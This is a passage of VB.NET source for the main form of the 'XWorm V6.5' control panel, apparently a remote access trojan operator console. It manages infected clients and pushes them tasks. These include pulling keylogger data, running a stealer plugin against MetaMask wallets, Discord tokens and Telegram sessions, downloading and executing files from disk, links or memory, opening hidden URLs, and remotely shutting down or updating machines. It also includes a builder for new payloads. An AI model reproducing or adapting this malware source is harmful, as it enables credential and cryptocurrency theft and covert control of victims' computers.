1941 lines
80 KiB
VB.net
1941 lines
80 KiB
VB.net
Imports System.IO
|
|
Imports System.Runtime.InteropServices
|
|
Imports System.Threading
|
|
Public Class Main
|
|
|
|
Public S As Server
|
|
Private getTasks As List(Of XWormTask) = New List(Of XWormTask)()
|
|
Public Shared list_4 As List(Of BridgeEndPoint)
|
|
Public Shared trans As Boolean
|
|
<DllImport("uxtheme", CharSet:=CharSet.Unicode)>
|
|
Public Shared Function SetWindowTheme(ByVal hWnd As IntPtr, ByVal textSubAppName As String, ByVal textSubIdList As String) As Integer
|
|
End Function
|
|
Public Sub New()
|
|
InitializeComponent()
|
|
Opacity = 0
|
|
Lv2.Visible = False
|
|
Lv3.Visible = False
|
|
Lv4.Visible = False
|
|
SetWindowTheme(Lv1.Handle, "explorer", Nothing)
|
|
FadeInMain(Me, 20)
|
|
End Sub
|
|
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button1, "Clients")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button2, "Logs")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button3, "Tasks")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button4, "Screens")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button5, "About")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button6, "Extra Tools")
|
|
Guna2HtmlToolTip1.SetToolTip(Guna2Button7, "Builder")
|
|
End Sub
|
|
|
|
|
|
Public Function GetSelectedClients()
|
|
Dim clients As List(Of Client) = New List(Of Client)
|
|
Invoke(Sub()
|
|
SyncLock SettingsHelper.ListViewSafeThreading
|
|
For Each item As ListViewItem In Lv1.SelectedItems
|
|
clients.Add(item.Tag)
|
|
Next
|
|
End SyncLock
|
|
End Sub)
|
|
Return clients.ToArray()
|
|
End Function
|
|
|
|
Private Sub Timer_Status_Tick(sender As Object, e As EventArgs) Handles Timer_Status.Tick
|
|
Try
|
|
ToolStripStatusLabel1.Text = String.Format("Clients [{0}] Selected [{1}] Port [{2}] Key [{3}] Sent [{4}] Received [{5}] Expiry [{6}]", Lv1.Items.Count.ToString, Lv1.SelectedItems.Count.ToString, SettingsHelper.Port, SettingsHelper.KEY, BytesToString(SettingsHelper.Sent), BytesToString(SettingsHelper.Received), SettingsHelper.LicenseExpire)
|
|
Text = "XWorm V6.5 by c3lestial.fun" & " @" & SettingsHelper.User & " " & DateTime.Now.ToLongTimeString() & " " & "CPU " & CInt(performanceCounter1.NextValue()) & "%" & " RAM " & CInt(performanceCounter2.NextValue()) & "%"
|
|
|
|
If SettingsHelper.MSGS > 50 Then
|
|
Guna2NotificationPaint1.Text = "+50"
|
|
Else
|
|
If SettingsHelper.MSGS = 0 Then
|
|
Guna2NotificationPaint1.Text = SettingsHelper.MSGS.ToString
|
|
Else
|
|
Guna2NotificationPaint1.Text = "+" & SettingsHelper.MSGS.ToString
|
|
End If
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Timer_Ping_Tick(sender As Object, e As EventArgs) Handles Timer_Ping.Tick
|
|
If SettingsHelper.Online.Count > 0 Then
|
|
Dim B As Byte() = SB("PING!")
|
|
For Each C As Client In SettingsHelper.Online.ToList
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
GC.Collect()
|
|
End Sub
|
|
|
|
Private Sub Lv1_MouseMove(sender As Object, e As MouseEventArgs) Handles Lv1.MouseMove
|
|
Try
|
|
Dim hitInfo = Lv1.HitTest(e.Location)
|
|
If e.Button = MouseButtons.Left AndAlso (hitInfo.Item IsNot Nothing OrElse hitInfo.SubItem IsNot Nothing) Then Lv1.Items(hitInfo.Item.Index).Selected = True
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Lv1_KeyDown(sender As Object, e As KeyEventArgs) Handles Lv1.KeyDown
|
|
Try
|
|
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
|
If Lv1.Items.Count > 0 Then
|
|
For Each x As ListViewItem In Lv1.Items
|
|
x.Selected = True
|
|
Next
|
|
End If
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub NotifyIcon1_MouseDoubleClick(sender As Object, e As MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick
|
|
Try
|
|
TopMost = True
|
|
WindowState = FormWindowState.Normal
|
|
TopMost = False
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Try
|
|
NotifyIcon1.Visible = False
|
|
Environment.Exit(0)
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Public Sub ShowLog()
|
|
Try
|
|
Lv1.Visible = False
|
|
Lv3.Visible = False
|
|
Lv4.Visible = False
|
|
|
|
|
|
Lv2.Visible = True
|
|
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Async Sub TimerTask_Tick(sender As Object, e As EventArgs) Handles TimerTask.Tick
|
|
Try
|
|
|
|
If getTasks.Count > 0 AndAlso SettingsHelper.Online.Count > 0 Then
|
|
|
|
For Each asyncTask As XWormTask In getTasks.ToList()
|
|
|
|
If GetListview(asyncTask.id) = False Then
|
|
getTasks.Remove(asyncTask)
|
|
Debug.WriteLine("task removed")
|
|
Return
|
|
End If
|
|
|
|
For Each C As Client In SettingsHelper.Online.ToList
|
|
|
|
If Not asyncTask.doneClient.Contains(C.ID) Then
|
|
|
|
Debug.WriteLine("task executed")
|
|
|
|
asyncTask.doneClient.Add(C.ID)
|
|
|
|
SetExecution(asyncTask.id)
|
|
|
|
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), asyncTask.msgPack)
|
|
|
|
End If
|
|
Next
|
|
|
|
Await Task.Delay(15 * 1000)
|
|
Next
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
Private Sub SetExecution(ByVal id As String)
|
|
For Each item As ListViewItem In Lv3.Items
|
|
If item.ToolTipText = id Then
|
|
Dim count As Integer = Convert.ToInt32(item.SubItems(1).Text)
|
|
count += 1
|
|
item.SubItems(1).Text = count.ToString()
|
|
End If
|
|
Next
|
|
End Sub
|
|
Private Function GetListview(ByVal id As String) As Boolean
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.ToolTipText = id Then
|
|
Return True
|
|
End If
|
|
Next
|
|
|
|
Return False
|
|
End Function
|
|
|
|
|
|
Private Sub ThumbnailCap_Tick(sender As Object, e As EventArgs) Handles ThumbnailCap.Tick
|
|
Try
|
|
Dim B As Byte() = SB("$Cap")
|
|
For Each C As Client In SettingsHelper.Online.ToList
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
|
|
Private Sub Lv4_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Lv4.SelectedIndexChanged
|
|
|
|
End Sub
|
|
|
|
|
|
Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
|
|
|
|
End Sub
|
|
|
|
Private Sub Lv1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Lv1.SelectedIndexChanged
|
|
|
|
End Sub
|
|
|
|
|
|
Private Sub Guna2Button1_Click(sender As Object, e As EventArgs) Handles Guna2Button1.Click
|
|
Try
|
|
Lv2.Visible = False
|
|
Lv3.Visible = False
|
|
Lv4.Visible = False
|
|
|
|
Lv1.Visible = True
|
|
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2Button2_Click(sender As Object, e As EventArgs) Handles Guna2Button2.Click
|
|
Try
|
|
Lv1.Visible = False
|
|
Lv3.Visible = False
|
|
Lv4.Visible = False
|
|
|
|
Lv2.Visible = True
|
|
|
|
SettingsHelper.MSGS = 0
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2Button3_Click(sender As Object, e As EventArgs) Handles Guna2Button3.Click
|
|
Try
|
|
Lv1.Visible = False
|
|
Lv2.Visible = False
|
|
Lv4.Visible = False
|
|
|
|
Lv3.Visible = True
|
|
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2Button4_Click(sender As Object, e As EventArgs) Handles Guna2Button4.Click
|
|
Try
|
|
Lv1.Visible = False
|
|
Lv2.Visible = False
|
|
Lv3.Visible = False
|
|
|
|
Lv4.Visible = True
|
|
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ShowToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShowToolStripMenuItem.Click
|
|
Try
|
|
TopMost = True
|
|
WindowState = FormWindowState.Normal
|
|
TopMost = False
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub RestartToolStripMenuItem1_Click_1(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem1.Click
|
|
Process.Start(Application.ExecutablePath)
|
|
Close()
|
|
End Sub
|
|
|
|
Private Sub ExitToolStripMenuItem_Click_1(sender As Object, e As EventArgs) Handles ExitToolStripMenuItem.Click
|
|
Close()
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem6.Click
|
|
Try
|
|
SettingsHelper.Screens = False
|
|
ThumbnailCap.Dispose()
|
|
Lv4.Items.Clear()
|
|
Catch
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
|
SettingsHelper.Screens = True
|
|
ThumbnailCap.Enabled = True
|
|
ThumbnailCap.Start()
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
|
|
Lv2.Items.Clear()
|
|
End Sub
|
|
|
|
Private Sub Guna2Button5_Click(sender As Object, e As EventArgs) Handles Guna2Button5.Click
|
|
Dim f As New About
|
|
f.StartPosition = FormStartPosition.CenterParent
|
|
f.ShowDialog()
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
|
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
|
|
Try
|
|
|
|
If Lv1.Items.Count > 0 Then
|
|
|
|
For Each sel As ListViewItem In Lv1.SelectedItems
|
|
sel.Selected = False
|
|
Next
|
|
|
|
Dim Found As Boolean = False
|
|
Dim Text As String = Guna2TextBox1.Text.ToLower
|
|
|
|
For Each Itm As ListViewItem In Lv1.Items
|
|
Try
|
|
Dim XIP As String = Itm.SubItems(0).Text.ToLower
|
|
Dim XID As String = Itm.SubItems(2).Text.ToLower
|
|
Dim XUSER As String = Itm.SubItems(3).Text.ToLower
|
|
|
|
|
|
Dim XGroup As String = Itm.SubItems(5).Text.ToLower
|
|
|
|
Dim XCPU As String = Itm.SubItems(10).Text.ToLower
|
|
Dim XGPU As String = Itm.SubItems(11).Text.ToLower
|
|
Dim XRAM As String = Itm.SubItems(12).Text.ToLower
|
|
|
|
Dim XNOTE As String = Itm.SubItems(14).Text.ToLower
|
|
Dim XACT As String = Itm.SubItems(17).Text.ToLower
|
|
|
|
|
|
If XIP.Contains(Text) Or XID.Contains(Text) Or XUSER.Contains(Text) Or XGroup.Contains(Text) Or XCPU.Contains(Text) Or XGPU.Contains(Text) Or XRAM.Contains(Text) Or XNOTE.Contains(Text) Or XACT.Contains(Text) Then
|
|
Itm.Selected = True
|
|
Found = True
|
|
End If
|
|
Catch
|
|
End Try
|
|
Next
|
|
|
|
If Found Then
|
|
|
|
Lv1.EnsureVisible(Lv1.SelectedItems(0).Index)
|
|
|
|
Guna2TextBox1.Clear()
|
|
|
|
If Not Lv1.Visible Then
|
|
Lv2.Visible = False
|
|
Lv3.Visible = False
|
|
Lv4.Visible = False
|
|
|
|
Lv1.Visible = True
|
|
|
|
End If
|
|
|
|
End If
|
|
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
End If
|
|
End Sub
|
|
|
|
|
|
Private Sub Guna2Button6_Click(sender As Object, e As EventArgs) Handles Guna2Button6.Click
|
|
Try
|
|
Dim Form As New ToolsBox
|
|
Form.StartPosition = FormStartPosition.Manual
|
|
Form.Location = New Point(Location.X + Width \ 2 - Form.Width \ 2, Location.Y + Height \ 2 - Form.Height \ 2)
|
|
If Application.OpenForms(Form.Name) Is Nothing Then
|
|
Form.Show()
|
|
Else
|
|
Application.OpenForms(Form.Name).Focus()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2Button7_Click(sender As Object, e As EventArgs) Handles Guna2Button7.Click
|
|
Dim Builder As New Builder
|
|
|
|
Builder.StartPosition = FormStartPosition.CenterParent
|
|
Builder.ShowDialog()
|
|
End Sub
|
|
|
|
Private Sub KeyloggerToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles KeyloggerToolStripMenuItem.Click
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "Get Keylogger" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "Get Keylogger"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("OfflineGet")
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
End Sub
|
|
|
|
Private Sub VisibleToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles VisibleToolStripMenuItem2.Click
|
|
Dim message As Object = InputBox("Enter Your Url", "Open Visible Url", "http://exmple.com")
|
|
If Not String.IsNullOrWhiteSpace(message) Then
|
|
Dim B As Byte() = SB("Urlopen" & SettingsHelper.SPL & message)
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "VisibleUrl: " & message
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub InvisibleToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles InvisibleToolStripMenuItem2.Click
|
|
Dim message As Object = InputBox("Enter Your Url", "Open Invisible Url", "http://exmple.com")
|
|
If Not String.IsNullOrWhiteSpace(message) Then
|
|
Dim B As Byte() = SB("Urlhide" & SettingsHelper.SPL & message)
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "InvisibleUrl: " & message
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub MetaMaskToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles MetaMaskToolStripMenuItem2.Click
|
|
Try
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "MetaMask" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "MetaMask"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 5)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub DiscordTokenToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles DiscordTokenToolStripMenuItem1.Click
|
|
Try
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "DiscordToken" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "DiscordToken"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 2)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub TelegramSessionToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles TelegramSessionToolStripMenuItem1.Click
|
|
Try
|
|
If Lv3.Items.Count > 0 Then
|
|
|
|
For Each item As ListViewItem In Lv3.Items
|
|
|
|
If item.Text = "TelegramSession" Then
|
|
Return
|
|
End If
|
|
Next
|
|
End If
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "TelegramSession"
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Stealer.dll") & SettingsHelper.SPL & 4)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub FromDiskToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FromDiskToolStripMenuItem.Click
|
|
Try
|
|
|
|
Dim o As New OpenFileDialog
|
|
With o
|
|
.Filter = "(*.*)|*.*"
|
|
.Title = "From Disk"
|
|
End With
|
|
|
|
If o.ShowDialog = DialogResult.OK Then
|
|
|
|
Dim B As Byte() = SB("DW" & SettingsHelper.SPL & Path.GetExtension(o.FileName) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(o.FileName))))
|
|
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "FromDisk: " & Path.GetFileName(o.FileName)
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub FromLinkToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FromLinkToolStripMenuItem.Click
|
|
Dim url As String = "http://www.example.com/File.exe"
|
|
Dim str As String = Interaction.InputBox("Url", "From Url", url)
|
|
Dim str4 As String = Interaction.InputBox("Extension", "From Url", ".exe")
|
|
If (str.Length = 0) Or str4.Length = 0 Then
|
|
Else
|
|
Dim B As Byte() = SB("LN" & SettingsHelper.SPL & str4 & SettingsHelper.SPL & str)
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "FromLink: " & str4
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub FromMemoryToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles FromMemoryToolStripMenuItem1.Click
|
|
Try
|
|
|
|
Dim o As New OpenFileDialog
|
|
With o
|
|
.Filter = "(*.exe)|*.exe"
|
|
.Title = "From Memory"
|
|
End With
|
|
|
|
If o.ShowDialog = DialogResult.OK Then
|
|
Try
|
|
System.Reflection.Assembly.LoadFile(o.FileName).EntryPoint.GetParameters()
|
|
Catch
|
|
MessageBox.Show(o.FileName, "Is Not A .NET Assembly")
|
|
Return
|
|
End Try
|
|
|
|
Dim B As Byte() = SB("FM" & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(o.FileName))))
|
|
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "FromMemory: " & Path.GetFileName(o.FileName)
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub UpdateAllClientsToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UpdateAllClientsToolStripMenuItem1.Click
|
|
Dim open As OpenFileDialog = New OpenFileDialog
|
|
|
|
Dim result As DialogResult = open.ShowDialog()
|
|
If result = DialogResult.OK Then
|
|
Try
|
|
Dim B As Byte() = SB("update" & SettingsHelper.SPL & IO.Path.GetExtension(open.FileName) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(open.FileName))))
|
|
Dim lv As ListViewItem = New ListViewItem()
|
|
lv.Text = "Update: " & Path.GetFileName(open.FileName)
|
|
lv.SubItems.Add("0")
|
|
lv.ToolTipText = Guid.NewGuid().ToString()
|
|
Lv3.Items.Add(lv)
|
|
Lv3.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
getTasks.Add(New XWormTask(B, lv.ToolTipText))
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RemoveTaskToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveTaskToolStripMenuItem1.Click
|
|
If Lv3.SelectedItems.Count > 0 Then
|
|
For Each item As ListViewItem In Lv3.SelectedItems
|
|
item.Remove()
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub InformationToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles InformationToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Informations.dll"))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RestartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("rec")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub CloseToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim B As Byte() = SB("CLOSE")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub UninstallToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UninstallToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim result As Integer = MessageBox.Show("Are You Sure?", "Uninstall!", MessageBoxButtons.YesNo)
|
|
If result = DialogResult.Yes Then
|
|
Dim B As Byte() = SB("uninstall")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub UpdateToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UpdateToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim open As OpenFileDialog = New OpenFileDialog
|
|
|
|
Dim result As DialogResult = open.ShowDialog()
|
|
If result = DialogResult.OK Then
|
|
Try
|
|
Dim B As Byte() = SB("update" & SettingsHelper.SPL & IO.Path.GetExtension(open.FileName) & SettingsHelper.SPL & Convert.ToBase64String(Compress(File.ReadAllBytes(open.FileName))))
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub NoteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles NoteToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim str3 As String = Interaction.InputBox("Enter Your Note", "Note")
|
|
|
|
Try
|
|
For Each C As ListViewItem In Lv1.SelectedItems
|
|
|
|
NewNotes(C.SubItems(2).Text, str3)
|
|
|
|
If String.IsNullOrEmpty(str3) Then
|
|
C.SubItems(14).Text = "Null"
|
|
Else
|
|
C.SubItems(14).Text = str3
|
|
End If
|
|
Next
|
|
Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
_ActiveWindow.Width = 500
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub VisibleToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles VisibleToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
Dim message As Object = InputBox("Enter Your Url", "Open Visible Url", "http://exmple.com")
|
|
If Not String.IsNullOrWhiteSpace(message) Then
|
|
Dim B As Byte() = SB("Urlopen" & SettingsHelper.SPL & message)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub InvisibleToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles InvisibleToolStripMenuItem1.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim message As Object = InputBox("Enter Your Url", "Open Invisible Url", "http://exmple.com")
|
|
If Not String.IsNullOrWhiteSpace(message) Then
|
|
Dim B As Byte() = SB("Urlhide" & SettingsHelper.SPL & message)
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
End If
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ShutdownToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ShutdownToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("PCShutdown")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RestartToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem4.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("PCRestart")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub LogoffToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LogoffToolStripMenuItem.Click
|
|
If Lv1.SelectedItems.Count > 0 Then
|
|
|
|
Dim B As Byte() = SB("PCLogoff")
|
|
For Each C As Client In GetSelectedClients()
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
